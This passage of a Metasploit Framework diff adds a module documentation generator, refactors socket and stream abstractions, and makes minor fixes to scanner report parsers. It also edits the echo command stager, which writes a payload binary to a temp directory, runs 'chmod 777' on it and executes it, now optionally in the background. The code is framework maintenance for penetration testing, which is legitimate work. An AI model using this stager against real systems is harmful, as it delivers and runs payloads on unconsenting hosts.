end end diff --git a/lib/msf/ui/console/module_command_dispatcher.rb b/lib/msf/ui/console/module_command_dispatcher.rb index 07bcef3693..12fe0fcae2 100644 --- a/lib/msf/ui/console/module_command_dispatcher.rb +++ b/lib/msf/ui/console/module_command_dispatcher.rb @@ -122,8 +122,6 @@ module ModuleCommandDispatcher # Checks to see if a target is vulnerable. # def cmd_check(*args) - defanged? - ip_range_arg = args.shift || mod.datastore['RHOSTS'] || framework.datastore['RHOSTS'] || '' opt = Msf::OptAddressRange.new('RHOSTS') @@ -176,7 +174,7 @@ module ModuleCommandDispatcher def check_simple(instance=nil) unless instance - instance = mod + instance = mod end rhost = instance.datastore['RHOST'] @@ -193,13 +191,13 @@ module ModuleCommandDispatcher 'LocalOutput' => driver.output) if (code and code.kind_of?(Array) and code.length > 1) if (code == Msf::Exploit::CheckCode::Vulnerable) - print_good("#{peer} - #{code[1]}") + print_good("#{code[1]}") report_vuln(instance) else - print_status("#{peer} - #{code[1]}") + print_status("#{code[1]}") end else - msg = "#{peer} - Check failed: The state could not be determined." + msg = "Check failed: The state could not be determined." print_error(msg) elog("#{msg}\n#{caller.join("\n")}") end @@ -213,7 +211,7 @@ module ModuleCommandDispatcher print_error("Check failed: #{e.message}") elog("#{e.message}\n#{e.backtrace.join("\n")}") rescue ::Exception => e - print_error("#{peer} - Check failed: #{e.class} #{e}") + print_error("Check failed: #{e.class} #{e}") elog("#{e.message}\n#{e.backtrace.join("\n")}") end end diff --git a/lib/msf/util.rb b/lib/msf/util.rb index 6ce2bdd01e..7439f57d30 100644 --- a/lib/msf/util.rb +++ b/lib/msf/util.rb @@ -21,7 +21,3 @@ end # Executable generation and encoding require 'msf/util/exe' - -# Parse SVN entries -require 'msf/util/svn' - diff --git a/lib/msf/util/document_generator.rb b/lib/msf/util/document_generator.rb new file mode 100644 index 0000000000..cd17faacfc --- /dev/null +++ b/lib/msf/util/document_generator.rb @@ -0,0 +1,74 @@ +### +# +# This provides methods to generate documentation for a module. +# +### + +require 'msf/util/document_generator/pull_request_finder' +require 'msf/util/document_generator/normalizer' + +module Msf + module Util + module DocumentGenerator + + + # Spawns a module document with a browser locally. + # + # @param mod [Msf::Module] Module to create document for. + # @return [void] + def self.spawn_module_document(mod) + md = get_module_document(mod) + f = Rex::Quickfile.new(["#{mod.shortname}_doc", '.html']) + f.write(md) + f.close + kb_path = f.path + + Rex::Compat.open_webrtc_browser("file://#{kb_path}") + end + + + # Returns a module document in HTML. + # + # @param mod [Msf::Module] Module to create document for. + # @return [void] + def self.get_module_document(mod) + md = '' + + kb_path = File.join(PullRequestFinder::MANUAL_BASE_PATH, "#{mod.fullname}.md") + kb = '' + + if File.exists?(kb_path) + File.open(kb_path, 'rb') { |f| kb = f.read } + end + + begin + pr_finder = PullRequestFinder.new + pr = pr_finder.search(mod) + rescue PullRequestFinder::Exception => e + pr = e + end + + n = DocumentNormalizer.new + items = { + mod_description: mod.description, + mod_authors: mod.send(:module_info)['Author'], + mod_fullname: mod.fullname, + mod_name: mod.name, + mod_pull_requests: pr, + mod_refs: mod.references, + mod_rank: mod.rank, + mod_platforms: mod.send(:module_info)['Platform'], + mod_options: mod.options, + mod_demo: mod + } + + if mod.respond_to?(:targets) && mod.targets + items[:mod_targets] = mod.targets + end + + n.get_md_content(items, kb) + end + + end + end +end diff --git a/lib/msf/util/document_generator/normalizer.rb b/lib/msf/util/document_generator/normalizer.rb new file mode 100644 index 0000000000..788204b650 --- /dev/null +++ b/lib/msf/util/document_generator/normalizer.rb @@ -0,0 +1,288 @@ +require 'redcarpet' +require 'erb' + +module Redcarpet + module Render + class MsfMdHTML < Redcarpet::Render::HTML + + def block_code(code, language) + "
" \
+          "#{code}" \
+        "
" + end + + + def list(content, list_type) + if list_type == :unordered && content.scan(/
  • /).flatten.length > 15 + %Q|

      #{content}

      | + elsif list_type == :unordered + %Q|
        #{content}
      | + elsif list_type == :ordered + %Q|
        #{content}
      | + else + content + end + end + + def header(text, header_level) + %Q|#{text}
      | + end + + def table(header, body) + %Q|#{header}#{body}

      | + end + + end + end +end + + +module Msf + module Util + module DocumentGenerator + class DocumentNormalizer + + # + # Markdown templates + # + + CSS_BASE_PATH = 'markdown.css' + HTML_TEMPLATE = 'html_template.erb' + TEMPLATE_PATH = 'default_template.erb' + + # + # Demo templates + # + + REMOTE_EXPLOIT_DEMO_TEMPLATE = 'remote_exploit_demo_template.erb' + BES_DEMO_TEMPLATE = 'bes_demo_template.erb' + HTTPSERVER_DEMO_TEMPLATE = 'httpserver_demo_template.erb' + GENERIC_DEMO_TEMPLATE = 'generic_demo_template.erb' + LOCALEXPLOIT_DEMO_TEMPLATE = 'localexploit_demo_template.erb' + POST_DEMO_TEMPLATE = 'post_demo_template.erb' + AUXILIARY_SCANNER_DEMO_TEMPLATE = 'auxiliary_scanner_template.erb' + PAYLOAD_DEMO_TEMPLATE = 'payload_demo_template.erb' + + + # Returns the module document in HTML form. + # + # @param items [Hash] Items to be documented. + # @param kb [String] Additional information to be added in the doc. + # @return [String] HTML. + def get_md_content(items, kb) + @md_template ||= lambda { + template = '' + path = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', TEMPLATE_PATH)) + File.open(path, 'rb') { |f| template = f.read } + return template + }.call + md_to_html(ERB.new(@md_template).result(binding()), kb.gsub(/##{number} - #{pr[:title]}" + end + + formatted_pr * "\n" + end + + + # Returns the markdown format for module datastore options. + # + # @param mod_options [Hash] Datastore options + # @return [String] + def normalize_options(mod_options) + required_options = [] + + mod_options.each_pair do |name, props| + if props.required && props.default.nil? + required_options << "* #{name} - #{props.desc}" + end + end + + required_options * "\n" + end + + + # Returns the markdown format for module description. + # + # @param description [String] Module description. + # @return [String] + def normalize_description(description) + Rex::Text.wordwrap(Rex::Text.compress(description)) + end + + + # Returns the markdown format for module authors. + # + # @param authors [Array] Module Authors + # @param authors [String] Module author + # @return [String] + def normalize_authors(authors) + if authors.kind_of?(Array) + authors.collect { |a| "* #{Rex::Text.html_encode(a)}" } * "\n" + else + authors + end + end + + + # Returns the markdown format for module targets. + # + # @param targets [Array] Module targets. + # @return [String] + def normalize_targets(targets) + targets.collect { |c| "* #{c.name}" } * "\n" + end + + + # Returns the markdown format for module references. + # + # @param refs [Array] Module references. + # @return [String] + def normalize_references(refs) + refs.collect { |r| "* #{r}" } * "\n" + end + + + # Returns the markdown format for module platforms. + # + # @param platforms [Array] Module platforms. + # @param platforms [String] Module platform. + # @return [String] + def normalize_platforms(platforms) + if platforms.kind_of?(Array) + platforms.collect { |p| "* #{p}" } * "\n" + else + platforms + end + end + + + # Returns the markdown format for module rank. + # + # @param rank [String] Module rank. + # @return [String] + def normalize_rank(rank) + "[#{Msf::RankingName[rank].capitalize}](https://github.com/rapid7/metasploit-framework/wiki/Exploit-Ranking)" + end + + + # Returns a parsed demo ERB template. + # + # @param mod [Msf::Module] Metasploit module. + # @param path [String] Template path. + # @return [String] + def load_demo_template(mod, path) + data = '' + path = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', path)) + File.open(path, 'rb') { |f| data = f.read } + ERB.new(data).result(binding()) + end + + + # Returns whether the module is a remote exploit or not. + # + # @param mod [Msf::Module] Metasploit module. + # @return [TrueClass] Module is a remote exploit. + # @return [FalseClass] Module is not really a remote exploit. + def is_remote_exploit?(mod) + # It's actually a little tricky to determine this, so we'll try to be as + # specific as possible. Rather have false negatives than false positives, + # because the worst case would be using the generic demo template. + mod.type == 'exploit' && # Must be an exploit + mod.kind_of?(Msf::Exploit::Remote) && # Should always have this + !mod.kind_of?(Msf::Exploit::FILEFORMAT) && # Definitely not a file format + !mod.kind_of?(Msf::Exploit::Remote::TcpServer) && # If there is a server mixin, things might get complicated + mod.options['DisablePayloadHandler'] # Must allow this option + end + + + # Returns a demo template suitable for the module. Currently supported templates: + # BrowserExploitServer modules, HttpServer modules, local exploit modules, post + # modules, payloads, auxiliary scanner modules. + # + # @param mod [Msf::Module] Metasploit module. + # @return [String] + def normalize_demo_output(mod) + if mod.kind_of?(Msf::Exploit::Remote::BrowserExploitServer) && mod.shortname != 'browser_autopwn2' + load_demo_template(mod, BES_DEMO_TEMPLATE) + elsif mod.kind_of?(Msf::Exploit::Remote::HttpServer) + load_demo_template(mod, HTTPSERVER_DEMO_TEMPLATE) + elsif mod.kind_of?(Msf::Exploit::Local) + load_demo_template(mod, LOCALEXPLOIT_DEMO_TEMPLATE) + elsif mod.kind_of?(Msf::Post) + load_demo_template(mod, POST_DEMO_TEMPLATE) + elsif mod.kind_of?(Msf::Payload) + load_demo_template(mod, PAYLOAD_DEMO_TEMPLATE) + elsif mod.kind_of?(Msf::Auxiliary::Scanner) + load_demo_template(mod, AUXILIARY_SCANNER_DEMO_TEMPLATE) + elsif is_remote_exploit?(mod) + load_demo_template(mod, REMOTE_EXPLOIT_DEMO_TEMPLATE) + else + load_demo_template(mod, GENERIC_DEMO_TEMPLATE) + end + end + + end + end + end +end diff --git a/lib/msf/util/document_generator/pull_request_finder.rb b/lib/msf/util/document_generator/pull_request_finder.rb new file mode 100644 index 0000000000..d509df88bf --- /dev/null +++ b/lib/msf/util/document_generator/pull_request_finder.rb @@ -0,0 +1,166 @@ +require 'octokit' +require 'nokogiri' +require 'net/http' + +module Msf + module Util + module DocumentGenerator + + class PullRequestFinder + + class Exception < RuntimeError; end + + MANUAL_BASE_PATH = File.expand_path(File.join(Msf::Config.module_directory, '..', 'documentation', 'modules' )) + + # @return [Octokit::Client] Git client + attr_accessor :git_client + + # @return [String] Metasploit Framework's repository + attr_accessor :repository + + # @return [String] Metasploit Framework's branch + attr_accessor :branch + + # @return [String] Metasploit Framework's repository owner + attr_accessor :owner + + # @return [String] Git access token + attr_accessor :git_access_token + + + # Initializes Msf::Util::DocumenGenerator::PullRequestFinder + # + # @raise [PullRequestFinder::Exception] No GITHUB_OAUTH_TOKEN environment variable + # @return [void] + def initialize + unless ENV.has_key?('GITHUB_OAUTH_TOKEN') + msg = '' + raise PullRequestFinder::Exception, 'GITHUB_OAUTH_TOKEN environment variable not set.' + end + + self.owner = 'rapid7' + self.repository = "#{owner}/metasploit-framework" + self.branch = 'master' + self.git_access_token = ENV['GITHUB_OAUTH_TOKEN'] + self.git_client = Octokit::Client.new(access_token: git_access_token) + end + + + # Returns pull requests associated with a particular Metasploit module. + # + # @param mod [Msf::Module] Metasploit module. + # @return [Hash] + def search(mod) + file_name = get_normalized_module_name(mod) + commits = get_commits_from_file(file_name) + get_pull_requests_from_commits(commits) + end + + + private + + + # Returns the normalized module full name. + # + # @param mod [Msf::Module] Metasploit module. + # @return [String] + def get_normalized_module_name(mod) + source_fname = mod.method(:initialize).source_location.first + source_fname.scan(/(modules.+)/).flatten.first || '' + end + + + # Returns git commits for a particular file. + # + # @param path [String] File path. + # @raise [PullRequestFinder::Exception] No commits found. + # @return [Array] + def get_commits_from_file(path) + begin + commits = git_client.commits(repository, branch, path: path) + rescue Faraday::ConnectionFailed + raise PullRequestFinder::Exception, 'No network connection to Github.' + end + + if commits.empty? + # Possibly the path is wrong. + raise PullRequestFinder::Exception, 'No commits found.' + end + + commits + end + + + # Returns the author for the commit. + # + # @param commit [Sawyer::Resource] + # @return [String] + def get_author(commit) + if commit.author + return commit.author[:login].to_s + end + + '' + end + + + # Checks whether the author should be skipped or not. + # + # @param commit [Sawyer::Resource] + # @return [Boolean] TrueClass if the author should be skipped, otherwise false. + def is_author_blacklisted?(commit) + ['tabassassin'].include?(get_author(commit)) + end + + + # Returns unique pull requests for a collection of commits. + # + # @param commits [Array] + # @return [Hash] + def get_pull_requests_from_commits(commits) + pull_requests = {} + + commits.each do |commit| + next if is_author_blacklisted?(commit) + + pr = get_pull_request_from_commit(commit) + unless pr.empty? + pull_requests[pr[:number]] = pr + end + end + + pull_requests + end + + + # Returns unique pull requests for a commit. + # + # @param commit [Sawyer::Resource] + # @return [Hash] + def get_pull_request_from_commit(commit) + sha = commit.sha + url = URI.parse("https://github.com/#{repository}/branch_commits/#{sha}") + cli = Net::HTTP.new(url.host, url.port) + cli.use_ssl = true + req = Net::HTTP::Get.new(url.request_uri) + res = cli.request(req) + n = Nokogiri::HTML(res.body) + found_pr_link = n.at('li[@class="pull-request"]//a') + + # If there is no PR associated with this commit, it's probably from the SVN days. + return {} unless found_pr_link + + href = found_pr_link.attributes['href'].text + title = found_pr_link.attributes['title'].text + + # Filter out all the pull requests that do not belong to rapid7. + # If this happens, it's probably because the PR was submitted to somebody's fork. + return {} unless /^\/#{owner}\// === href + + { number: href.scan(/\d+$/).flatten.first, title: title } + end + end + + end + end +end diff --git a/lib/msf/util/svn.rb b/lib/msf/util/svn.rb deleted file mode 100644 index 8b5f10175a..0000000000 --- a/lib/msf/util/svn.rb +++ /dev/null @@ -1,120 +0,0 @@ -# -*- coding: binary -*- -### -# -# framework-util-svn -# -------------- -# -# The class provides methods for parsing the SVN information in the framework directory -# -### - -require 'date' - -module Msf -module Util -class SVN - - def self.load_root - info = {} - path = ::File.join(::File.dirname(__FILE__), "..", "..", "..", ".svn", "entries") - if !::File.exists?(path) - return info - end - contents = '' - File.open(path, "rb") do |fd| - contents = fd.read(::File.size(path)) - end - if contents.include? " 7) - "%red#{diff.to_i} days ago%clr" - else - "#{diff.to_i} days ago" - end - end - end - - def self.last_updated_date - @@info ||= load_root - svnt = @@info[:updated] - if(not svnt) - return - end - begin - Date.parse(@@info[:updated]) - rescue ArgumentError - end - end - -end -end -end - diff --git a/lib/net/ssh/transport/session.rb b/lib/net/ssh/transport/session.rb index 3bd4e33f66..515c681901 100644 --- a/lib/net/ssh/transport/session.rb +++ b/lib/net/ssh/transport/session.rb @@ -65,9 +65,10 @@ module Net; module SSH; module Transport factory = options[:proxy] if (factory) - @socket = timeout(options[:timeout] || 0) { factory.open(@host, @port) } + @socket = ::Timeout.timeout(options[:timeout] || 0) { factory.open(@host, +@port) } else - @socket = timeout(options[:timeout] || 0) { + @socket = ::Timeout.timeout(options[:timeout] || 0) { Rex::Socket::Tcp.create( 'PeerHost' => @host, 'PeerPort' => @port, diff --git a/lib/rex/compat.rb b/lib/rex/compat.rb index 46d61dae15..24b94fb1d0 100644 --- a/lib/rex/compat.rb +++ b/lib/rex/compat.rb @@ -149,8 +149,6 @@ def self.open_browser(url='http://google.com/') end def self.open_webrtc_browser(url='http://google.com/') - found_browser = false - case RUBY_PLATFORM when /mswin2|mingw|cygwin/ paths = [ @@ -170,8 +168,7 @@ def self.open_webrtc_browser(url='http://google.com/') if File.exists?(path) args = (path =~ /chrome\.exe/) ? "--allow-file-access-from-files" : "" system("#{path} #{args} #{url}") - found_browser = true - break + return true end end @@ -182,27 +179,25 @@ def self.open_webrtc_browser(url='http://google.com/') args = (browser_path =~ /Chrome/) ? "--args --allow-file-access-from-files" : "" system("open #{url} -a \"#{browser_path}\" #{args} &") - found_browser = true - break + return true end end else if defined? ENV['PATH'] - ['firefox', 'google-chrome', 'chrome', 'chromium', 'firefox', 'opera'].each do |browser| + ['google-chrome', 'chrome', 'chromium', 'firefox' , 'firefox', 'opera'].each do |browser| ENV['PATH'].split(':').each do |path| browser_path = "#{path}/#{browser}" if File.exists?(browser_path) args = (browser_path =~ /Chrome/) ? "--allow-file-access-from-files" : "" system("#{browser_path} #{args} #{url} &") - found_browser = true - break + return true end end end end end - found_browser + false end def self.open_email(addr) diff --git a/lib/rex/exploitation/cmdstager/echo.rb b/lib/rex/exploitation/cmdstager/echo.rb index 462aade850..a158b51971 100644 --- a/lib/rex/exploitation/cmdstager/echo.rb +++ b/lib/rex/exploitation/cmdstager/echo.rb @@ -35,7 +35,7 @@ class CmdStagerEcho < CmdStagerBase end # by default use the 'hex' encoding - opts[:enc_format] = opts[:enc_format] || 'hex' + opts[:enc_format] = opts[:enc_format].nil? ? 'hex' : opts[:enc_format].to_s unless ENCODINGS.keys.include?(opts[:enc_format]) raise RuntimeError, "CmdStagerEcho - Invalid Encoding Option: #{opts[:enc_format]}" @@ -58,7 +58,7 @@ class CmdStagerEcho < CmdStagerBase xtra_len = @cmd_start.length + @cmd_end.length opts.merge!({ :extra => xtra_len }) - @prefix = ENCODINGS[opts[:enc_format]] + @prefix = opts[:prefix] || ENCODINGS[opts[:enc_format]] min_part_size = 5 # for both encodings if (opts[:linemax] - opts[:extra]) < min_part_size @@ -108,7 +108,7 @@ class CmdStagerEcho < CmdStagerBase # Make it all happen cmds << "chmod 777 #{@tempdir}#{@var_elf}" #cmds << "chmod +x #{@tempdir}#{@var_elf}" - cmds << "#{@tempdir}#{@var_elf}" + cmds << "#{@tempdir}#{@var_elf}#{' & echo' if opts[:background]}" # Clean up after unless requested not to.. unless opts[:nodelete] diff --git a/lib/rex/exploitation/js/memory.rb b/lib/rex/exploitation/js/memory.rb index f8fb22c77e..a0a9d08e78 100644 --- a/lib/rex/exploitation/js/memory.rb +++ b/lib/rex/exploitation/js/memory.rb @@ -27,7 +27,7 @@ class Memory def self.heaplib2(custom_js='', opts={}) js = ::File.read(::File.join(Msf::Config.data_directory, "js", "memory", "heaplib2.js")) - unless custom_js.blank? + unless custom_js.to_s.strip.empty? js << custom_js end diff --git a/lib/rex/io/datagram_abstraction.rb b/lib/rex/io/datagram_abstraction.rb index e1b17a1d6c..bf9492dfa2 100644 --- a/lib/rex/io/datagram_abstraction.rb +++ b/lib/rex/io/datagram_abstraction.rb @@ -1,6 +1,6 @@ # -*- coding: binary -*- -require 'socket' +require 'rex/io/socket_abstraction' module Rex module IO @@ -12,24 +12,15 @@ module IO # ### module DatagramAbstraction + include Rex::IO::SocketAbstraction # # Creates a streaming socket pair # def initialize_abstraction - self.lsock, self.rsock = Rex::Socket.udp_socket_pair() + self.lsock, self.rsock = Rex::Socket.udp_socket_pair end - - # The left side of the stream (local) - attr_reader :lsock - # The right side of the stream (remote) - attr_reader :rsock - -protected - attr_writer :lsock - attr_writer :rsock - end end; end diff --git a/lib/rex/io/socket_abstraction.rb b/lib/rex/io/socket_abstraction.rb new file mode 100644 index 0000000000..c010c8a1b9 --- /dev/null +++ b/lib/rex/io/socket_abstraction.rb @@ -0,0 +1,205 @@ +# -*- coding: binary -*- + +require 'socket' +require 'fcntl' + +module Rex +module IO + +### +# +# This class provides an abstraction to a stream based +# connection through the use of a streaming socketpair. +# +### +module SocketAbstraction + + ### + # + # Extension information for required Stream interface. + # + ### + module Ext + + # + # Initializes peer information. + # + def initinfo(peer,local) + @peer = peer + @local = local + end + + # + # Symbolic peer information. + # + def peerinfo + (@peer || "Remote Pipe") + end + + # + # Symbolic local information. + # + def localinfo + (@local || "Local Pipe") + end + end + + # + # Override this method to init the abstraction + # + def initialize_abstraction + self.lsock, self.rsock = Rex::Compat.pipe + end + + # + # This method cleans up the abstraction layer. + # + def cleanup_abstraction + self.lsock.close if (self.lsock and !self.lsock.closed?) + self.rsock.close if (self.rsock and !self.rsock.closed?) + + self.lsock = nil + self.rsock = nil + end + + # + # Low-level write to the local side. + # + def syswrite(buffer) + lsock.syswrite(buffer) + end + + # + # Low-level read from the local side. + # + def sysread(length) + lsock.sysread(length) + end + + # + # Shuts down the local side of the stream abstraction. + # + def shutdown(how) + lsock.shutdown(how) + end + + # + # Closes both sides of the stream abstraction. + # + def close + cleanup_abstraction + super + end + + # + # Symbolic peer information. + # + def peerinfo + "Remote-side of Pipe" + end + + # + # Symbolic local information. + # + def localinfo + "Local-side of Pipe" + end + + # + # The left side of the stream. + # + attr_reader :lsock + # + # The right side of the stream. + # + attr_reader :rsock + +protected + + def monitor_rsock(threadname = "SocketMonitorRemote") + self.monitor_thread = Rex::ThreadFactory.spawn(threadname, false) { + loop do + closed = false + buf = nil + + if not self.rsock + wlog("monitor_rsock: the remote socket is nil, exiting loop") + break + end + + begin + s = Rex::ThreadSafe.select( [ self.rsock ], nil, nil, 0.2 ) + if( s == nil || s[0] == nil ) + next + end + rescue Exception => e + wlog("monitor_rsock: exception during select: #{e.class} #{e}") + closed = true + end + + if( closed == false ) + begin + buf = self.rsock.sysread( 32768 ) + if buf == nil + closed = true + wlog("monitor_rsock: closed remote socket due to nil read") + end + rescue EOFError => e + closed = true + dlog("monitor_rsock: EOF in rsock") + rescue ::Exception => e + closed = true + wlog("monitor_rsock: exception during read: #{e.class} #{e}") + end + end + + if( closed == false ) + total_sent = 0 + total_length = buf.length + while( total_sent < total_length ) + begin + data = buf[total_sent, buf.length] + + # Note that this must be write() NOT syswrite() or put() or anything like it. + # Using syswrite() breaks SSL streams. + sent = self.write( data ) + + # sf: Only remove the data off the queue is write was successfull. + # This way we naturally perform a resend if a failure occured. + # Catches an edge case with meterpreter TCP channels where remote send + # failes gracefully and a resend is required. + if (sent.nil?) + closed = true + wlog("monitor_rsock: failed writing, socket must be dead") + break + elsif (sent > 0) + total_sent += sent + end + rescue ::IOError, ::EOFError => e + closed = true + wlog("monitor_rsock: exception during write: #{e.class} #{e}") + break + end + end + end + + if( closed ) + begin + self.close_write if self.respond_to?('close_write') + rescue IOError + end + break + end + end + } + end + +protected + attr_accessor :monitor_thread + attr_writer :lsock + attr_writer :rsock + +end + +end; end + diff --git a/lib/rex/io/stream_abstraction.rb b/lib/rex/io/stream_abstraction.rb index c2bfb5d4a2..837cfd945a 100644 --- a/lib/rex/io/stream_abstraction.rb +++ b/lib/rex/io/stream_abstraction.rb @@ -1,7 +1,6 @@ # -*- coding: binary -*- -require 'socket' -require 'fcntl' +require 'rex/io/socket_abstraction' module Rex module IO @@ -13,36 +12,7 @@ module IO # ### module StreamAbstraction - - ### - # - # Extension information for required Stream interface. - # - ### - module Ext - - # - # Initializes peer information. - # - def initinfo(peer,local) - @peer = peer - @local = local - end - - # - # Symbolic peer information. - # - def peerinfo - (@peer || "Remote Pipe") - end - - # - # Symbolic local information. - # - def localinfo - (@local || "Local Pipe") - end - end + include Rex::IO::SocketAbstraction # # This method creates a streaming socket pair and initializes it. @@ -53,156 +23,9 @@ module StreamAbstraction self.lsock.extend(Ext) self.rsock.extend(Rex::IO::Stream) - self.monitor_rsock + self.monitor_rsock("StreamMonitorRemote") end - # - # This method cleans up the abstraction layer. - # - def cleanup_abstraction - self.lsock.close if (self.lsock) - self.rsock.close if (self.rsock) - - self.lsock = nil - self.rsock = nil - end - - # - # Low-level write to the local side. - # - def syswrite(buffer) - lsock.syswrite(buffer) - end - - # - # Low-level read from the local side. - # - def sysread(length) - lsock.sysread(length) - end - - # - # Shuts down the local side of the stream abstraction. - # - def shutdown(how) - lsock.shutdown(how) - end - - # - # Closes both sides of the stream abstraction. - # - def close - cleanup_abstraction - end - - # - # Symbolic peer information. - # - def peerinfo - "Remote-side of Pipe" - end - - # - # Symbolic local information. - # - def localinfo - "Local-side of Pipe" - end - - # - # The left side of the stream. - # - attr_reader :lsock - # - # The right side of the stream. - # - attr_reader :rsock - -protected - - def monitor_rsock - self.monitor_thread = Rex::ThreadFactory.spawn("StreamMonitorRemote", false) { - loop do - closed = false - buf = nil - - if not self.rsock - wlog("monitor_rsock: the remote socket is nil, exiting loop") - break - end - - begin - s = Rex::ThreadSafe.select( [ self.rsock ], nil, nil, 0.2 ) - if( s == nil || s[0] == nil ) - next - end - rescue Exception => e - wlog("monitor_rsock: exception during select: #{e.class} #{e}") - closed = true - end - - if( closed == false ) - begin - buf = self.rsock.sysread( 32768 ) - if buf == nil - closed = true - wlog("monitor_rsock: closed remote socket due to nil read") - end - rescue EOFError => e - closed = true - dlog("monitor_rsock: EOF in rsock") - rescue ::Exception => e - closed = true - wlog("monitor_rsock: exception during read: #{e.class} #{e}") - end - end - - if( closed == false ) - total_sent = 0 - total_length = buf.length - while( total_sent < total_length ) - begin - data = buf[total_sent, buf.length] - - # Note that this must be write() NOT syswrite() or put() or anything like it. - # Using syswrite() breaks SSL streams. - sent = self.write( data ) - - # sf: Only remove the data off the queue is write was successfull. - # This way we naturally perform a resend if a failure occured. - # Catches an edge case with meterpreter TCP channels where remote send - # failes gracefully and a resend is required. - if (sent.nil?) - closed = true - wlog("monitor_rsock: failed writing, socket must be dead") - break - elsif (sent > 0) - total_sent += sent - end - rescue ::IOError, ::EOFError => e - closed = true - wlog("monitor_rsock: exception during write: #{e.class} #{e}") - break - end - end - end - - if( closed ) - begin - self.close_write if self.respond_to?('close_write') - rescue IOError - end - break - end - end - } - end - -protected - attr_accessor :monitor_thread - attr_writer :lsock - attr_writer :rsock - end end; end diff --git a/lib/rex/mime/message.rb b/lib/rex/mime/message.rb index 150a7c081b..205f561350 100644 --- a/lib/rex/mime/message.rb +++ b/lib/rex/mime/message.rb @@ -126,7 +126,7 @@ class Message header_string = self.header.to_s msg = header_string.empty? ? '' : force_crlf(self.header.to_s + "\r\n") - msg << force_crlf(self.content + "\r\n") unless self.content.blank? + msg << force_crlf(self.content + "\r\n") unless self.content.to_s.strip.empty? self.parts.each do |part| msg << force_crlf("--" + self.bound + "\r\n") diff --git a/lib/rex/parser/acunetix_nokogiri.rb b/lib/rex/parser/acunetix_nokogiri.rb index a8fc4bcd49..7f16833f46 100644 --- a/lib/rex/parser/acunetix_nokogiri.rb +++ b/lib/rex/parser/acunetix_nokogiri.rb @@ -59,6 +59,8 @@ module Rex @text = nil when "StartURL" # Populates @state[:starturl_uri], we use this a lot @state[:has_text] = false + # StartURL does not always include the scheme + @text.prepend("http://") unless URI.parse(@text).scheme collect_host collect_service @text = nil diff --git a/lib/rex/parser/appscan_nokogiri.rb b/lib/rex/parser/appscan_nokogiri.rb index 438eb9cb6a..fa9641e2af 100644 --- a/lib/rex/parser/appscan_nokogiri.rb +++ b/lib/rex/parser/appscan_nokogiri.rb @@ -195,7 +195,7 @@ module Rex res_header = Rex::Proto::Http::Packet::Header.new req_header.from_s request_headers.lstrip res_header.from_s response_headers.lstrip - if response_body.blank? + if response_body.to_s.empty? response_body = '' end @state[:request_headers] = req_header diff --git a/lib/rex/parser/burp_issue_nokogiri.rb b/lib/rex/parser/burp_issue_nokogiri.rb new file mode 100644 index 0000000000..c14ec9c869 --- /dev/null +++ b/lib/rex/parser/burp_issue_nokogiri.rb @@ -0,0 +1,139 @@ +# -*- coding: binary -*- +require "rex/parser/nokogiri_doc_mixin" +require 'uri' + +module Rex + module Parser + + # If Nokogiri is available, define Burp Issue document class. + load_nokogiri && class BurpIssueDocument < Nokogiri::XML::SAX::Document + + include NokogiriDocMixin + + def start_element(name=nil,attrs=[]) + attrs = normalize_attrs(attrs) + block = @block + @state[:current_tag][name] = true + case name + when "host", "name", "info", "issueDetail", "references" + @state[:has_text] = true + end + end + + def end_element(name=nil) + block = @block + case name + when "issue" + report_web_host_info + report_web_service_info + report_vuln + # Reset the state once we close a host + @state = @state.select {|k| [:current_tag].include? k} + when "host" + @state[:has_text] = false + collect_host_info + @text = nil + when "name" + @state[:has_text] = false + collect_name + @text = nil + when "issueDetail" + @state[:has_text] = false + collect_issue_detail + @text = nil + when "references" + @state[:has_text] = false + collect_references + @text = nil + end + @state[:current_tag].delete name + end + + def collect_host_info + return unless in_issue + return unless has_text + uri = URI(@text) + + @state[:host] = uri.host + @state[:service_name] = uri.scheme + @state[:proto] = "tcp" + + case @state[:service_name] + when "http" + @state[:port] = 80 + when "https" + @state[:port] = 443 + end + end + + def collect_name + return unless in_issue + return unless has_text + @state[:vuln_name] = @text + end + + def collect_issue_detail + return unless in_issue + return unless has_text + @state[:issue_detail] = @text + end + + def collect_references + return unless in_issue + return unless has_text + uri = @text.match('href=[\'"]?([^\'" >]+)')[1] + @state[:refs] = ["URI-#{uri}"] + end + + def report_web_host_info + return unless @state[:host] + address = Rex::Socket.resolv_to_dotted(@state[:host]) rescue nil + host_info = {:workspace => @args[:wspace]} + host_info[:address] = address + host_info[:name] = @state[:host] + db_report(:host, host_info) + end + + def report_web_service_info + return unless @state[:host] + return unless @state[:port] + return unless @state[:proto] + return unless @state[:service_name] + service_info = {} + service_info[:host] = @state[:host] + service_info[:port] = @state[:port] + service_info[:proto] = @state[:proto] + service_info[:name] = @state[:service_name] + @state[:service_object] = db_report(:service, service_info) + end + + def report_vuln + return unless @state[:service_object] + return unless @state[:vuln_name] + return unless @state[:issue_detail] + return unless @state[:refs] + vuln_info = {} + vuln_info[:service_id] = @state[:service_object].id + vuln_info[:host] = @state[:host] + vuln_info[:name] = @state[:vuln_name] + vuln_info[:info] = @state[:issue_detail] + vuln_info[:refs] = @state[:refs] + @state[:vuln_object] = db_report(:vuln, vuln_info) + end + + def in_issue + return false unless in_tag("issue") + return false unless in_tag("issues") + return true + end + + def has_text + return false unless @text + return false if @text.strip.empty? + @text = @text.strip + end + end + + end +end + diff --git a/lib/rex/parser/burp_session_nokogiri.rb b/lib/rex/parser/burp_session_nokogiri.rb index 2822fa28bf..057c5dae53 100644 --- a/lib/rex/parser/burp_session_nokogiri.rb +++ b/lib/rex/parser/burp_session_nokogiri.rb @@ -157,7 +157,7 @@ module Rex host_info = {:workspace => @args[:wspace]} host_info[:address] = @state[:web_site].service.host.address host_info[:name] = @state[:uri].host - report_db(:host, host_info) + db_report(:host, host_info) end def report_web_service_info diff --git a/lib/rex/parser/fusionvm_nokogiri.rb b/lib/rex/parser/fusionvm_nokogiri.rb index 8af80d5747..a328a895bb 100644 --- a/lib/rex/parser/fusionvm_nokogiri.rb +++ b/lib/rex/parser/fusionvm_nokogiri.rb @@ -59,7 +59,7 @@ module Parser unless in_tag("JobOrder") case name when "OS" - unless @host.nil? or @text.blank? + unless @host.nil? or @text.to_s.strip.empty? tnote = { :type => "host.os.fusionvm_fingerprint", :data => { :os => @text.strip }, @@ -86,7 +86,7 @@ module Parser when "CVE" @vuln[:refs] << "CVE-#{@text.strip}" when "References" - unless @text.blank? + unless @text.to_s.strip.empty? @text.split(' ').each do |ref| next unless ref.start_with? "http" if ref =~ /MS\d{2}-\d{3}/ diff --git 